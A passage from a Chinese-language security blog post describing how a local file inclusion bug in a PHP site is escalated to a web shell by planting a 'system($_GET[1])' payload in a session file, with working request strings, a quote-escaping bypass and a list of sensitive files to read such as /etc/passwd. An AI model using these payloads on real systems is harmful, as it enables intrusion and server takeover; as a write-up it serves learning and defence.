<p>&#x6C92;&#x60F3;&#x5230;&#x4E00;&#x6B21;&#x5C31;&#x4E2D;&#x5927;&#x734E;&#xFF0C;&#x66F4;&#x8B93;&#x4EBA;&#x9AD8;&#x8208;&#x7684;&#x662F;&#x6CE8;&#x610F;&#x5230;&#x51FA;&#x73FE;&#x7684;&#x5167;&#x5BB9;&#x542B;&#x6709;&#x300C;file&#x300D;&#x95DC;&#x9375;&#x5B57;&#x3002;</p>
<p><img src="https://cyku.tw/content/images/migrate/lfi_leads_to_rce_via_session_file_2.png" alt loading="lazy"></p>
<p>&#x9019;&#x8868;&#x793A; GET &#x53C3;&#x6578;&#x7684;&#x5167;&#x5BB9;&#x88AB;&#x5132;&#x5B58;&#x81F3; session &#x4E2D;&#xFF0C;&#x65E2;&#x7136;&#x5982;&#x6B64;&#xFF0C;&#x90A3;&#x5C31;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x5728; GET &#x53C3;&#x6578;&#x4E0A;&#x6CE8;&#x5165;&#x53EF;&#x57F7;&#x884C;&#x7684; payload&#xFF0C;&#x4F46;&#x56E0;&#x70BA;&#x5305;&#x542B;&#x9032;&#x4F86;&#x7684; session &#x5167;&#x5BB9;&#x6703;&#x662F;&#x4E0A;&#x4E00;&#x6B21;&#x8ACB;&#x6C42;&#x6642;&#x7684;&#x5167;&#x5BB9;&#xFF0C;&#x5FC5;&#x9808;&#x5148;&#x5C0D;&#x7DB2;&#x7AD9;&#x8ACB;&#x6C42;&#x4E00;&#x6B21;&#x4F7F; payload &#x5132;&#x5B58;&#x81F3; session &#x4E2D;&#xFF0C;&#x624D;&#x80FD;&#x5F15;&#x5165; payload &#x8B93;&#x5176;&#x57F7;&#x884C;&#x3002;</p>
<p>&#x521D;&#x6B65;&#x6E2C;&#x8A66;&#x76F4;&#x63A5;&#x57F7;&#x884C;</p>
<pre class="toolbar:2 nums:false whitespace-before:1 whitespace-after:1 lang:default decode:true"> /file.php  
 ?file=../../../../../tmp/sess_{ID}  
 &amp;a=&lt;?php system($_GET[&apos;b&apos;]); ?&gt;  
 &amp;b=ls -la</pre>  
<p>&#x4F46;&#x7D50;&#x679C;&#x537B;&#x662F;&#x5931;&#x6557;&#x7684;&#xFF0C;&#x7406;&#x7531;&#x662F;&#x5F15;&#x865F;&#x300C; &apos; &#x300D;&#x3001;&#x300C; &quot; &#x300D;&#x90FD;&#x88AB;&#x7DB2;&#x7AD9;&#x8DF3;&#x812B;&#x6210;&#x300C; &apos; &#x300D;&#x3001;&#x300C; &quot; &#x300D;&#x3002;</p>
<p>&#x6B64;&#x8655;&#x5C31;&#x5FC5;&#x9808;&#x7528;&#x5230; PHP Array &#x7684;&#x4E00;&#x500B;&#x6709;&#x8DA3;&#x7279;&#x6027;&#xFF0C;&#x4F9D;&#x64DA;&#x5B98;&#x65B9;&#x7684;&#x8AAA;&#x6CD5;</p>
<p><img src="https://cyku.tw/content/images/migrate/lfi_leads_to_rce_via_session_file_3.png" alt loading="lazy"></p>
<blockquote>
<p>&#x5305;&#x542B;&#x6709;&#x5408;&#x6CD5;&#x6574;&#x6578;&#x578B;&#x503C;&#x7684;&#x5B57;&#x7B26;&#x4E32;&#x6703;&#x88AB;&#x8F49;&#x63DB;&#x70BA;&#x6574;&#x6578;&#x578B;&#x3002;&#x4F8B;&#x5982;&#x9375;&#x540D; &quot;8&quot; &#x5BE6;&#x969B;&#x6703;&#x88AB;&#x5132;&#x5B58;&#x70BA; 8&#x3002;&#x4F46;&#x662F; &quot;08&quot; &#x5247;&#x4E0D;&#x6703;&#x5F37;&#x5236;&#x8F49;&#x63DB;&#xFF0C;&#x56E0;&#x70BA;&#x5176;&#x4E0D;&#x662F;&#x4E00;&#x500B;&#x5408;&#x6CD5;&#x7684;&#x5341;&#x9032;&#x5236;&#x6578;&#x503C;&#x3002;<br>
&#x9019;&#x610F;&#x5473;&#x8457;&#x7576;&#x8ACB;&#x6C42;&#x7684; GET &#x53C3;&#x6578;&#x9577;&#x9019;&#x500B;&#x6A23;&#x5B50;</p>
</blockquote>
<pre class="toolbar:2 nums:false whitespace-before:1 whitespace-after:1 lang:default decode:true "> /file.php?1=Hello,world!</pre>  
<p>&#x6211;&#x5011;&#x5C31;&#x53EF;&#x4EE5;&#x900F;&#x904E; $_GET[&apos;1&apos;] &#x6216; $_GET[1] &#x53D6;&#x5F97; &apos;Hello,world!&apos; &#x7684;&#x5B57;&#x4E32;</p>
<p><img src="https://cyku.tw/content/images/migrate/lfi_leads_to_rce_via_session_file_4.png" alt loading="lazy"></p>
<p>&#x5373;&#x4FBF;&#x5F15;&#x865F;&#x88AB;&#x8DF3;&#x812B;&#xFF0C;&#x6211;&#x5011;&#x4ECD;&#x7136;&#x80FD;&#x9806;&#x5229;&#x7372;&#x53D6; GET &#x53C3;&#x6578;&#x7684;&#x5167;&#x5BB9;&#xFF0C;&#x6240;&#x4EE5;&#x53EA;&#x8981;&#x5C07;&#x539F;&#x672C;&#x7684; payload &#x66FF;&#x63DB;&#x6210;&#x4EE5; $_GET[1] &#x7372;&#x53D6;&#x6307;&#x4EE4;&#x5373;&#x53EF;&#x3002;</p>
<pre class="toolbar:2 nums:false whitespace-before:1 whitespace-after:1 lang:default decode:true "> /file.php  
 ?file=../../../../../tmp/sess_{SESSION_ID}  
 &amp;a=&lt;?php system($_GET[1]); ?&gt;  
 &amp;1=ls -la</pre>  
<p>&#x65BC;&#x662F;&#x4E4E; ~~ bang ~~</p>
<p>&#x4E00;&#x500B;&#x65B0;&#x9BAE;&#x7684; Web Shell &#x5C31;&#x53D6;&#x5F97;&#x4E86;&#xFF01;</p>
<p><img src="https://cyku.tw/content/images/migrate/lfi_leads_to_rce_via_session_file_5.png" alt loading="lazy"></p>
<p>&#xA0;</p>
<p>&#xA0;</p>
<p>&#x7E3D;&#x7D50;&#x4E00;&#x4E0B;&#x6B64;&#x6B21;&#x7D93;&#x9A57;</p>
<ol>
<li>
<p>&#x7576;&#x9047;&#x5230; LFI &#x6F0F;&#x6D1E;&#x6642;&#xFF0C;&#x53EF;&#x4EE5;&#x5148;&#x6AA2;&#x67E5;&#x4E00;&#x4E0B;&#x5E7E;&#x7A2E;&#x53EF;&#x80FD;&#x7684;&#x6A94;&#x6848;&#xFF1A;</p>
<ol>
<li>/etc/passwd</li>
<li>/proc/self/environ</li>
<li>All possible config files ( e.g. Apache /etc/httpd/conf/httpd.conf )</li>
<li>Web server access, error log ( e.g. /etc/httpd/logs/access_log )</li>
<li>Session files ( e.g. /tmp/sess_{SESSION_ID} )</li>
</ol>
</li>
<li>
<p>PHP &#x4F7F;&#x7528; $_GET[1]&#x3001;$_POST[1] &#x53EF;&#x4EE5;&#x907F;&#x958B;&#x5F15;&#x865F;&#x8DF3;&#x812B;&#x7684;&#x554F;&#x984C;&#x3002;<br>
&#xA0;</p>
</li>
</ol>
<p><strong>08/30 &#x88DC;&#x5145;</strong></p>
<p>&#x5F8C;&#x4F86;&#x6709;&#x670B;&#x53CB;&#x544A;&#x8A34;&#x6211; $_GET[a] &#x4E0D;&#x52A0;&#x55AE;&#x5F15;&#x865F;&#x4E5F;&#x53EF;&#x4EE5;&#x57F7;&#x884C;&#xFF0C;&#x4F46;&#x6211;&#x6700;&#x521D;&#x5728;&#x5617;&#x8A66;&#x6642;&#x537B;&#x5931;&#x6557;&#xFF0C;&#x6709;&#x53EF;&#x80FD;&#x662F;&#x6253;&#x932F;&#x5B57;&#x4E86; Q__Q</p>
<!--kg-card-end: markdown-->]]></content:encoded></item></channel></rss>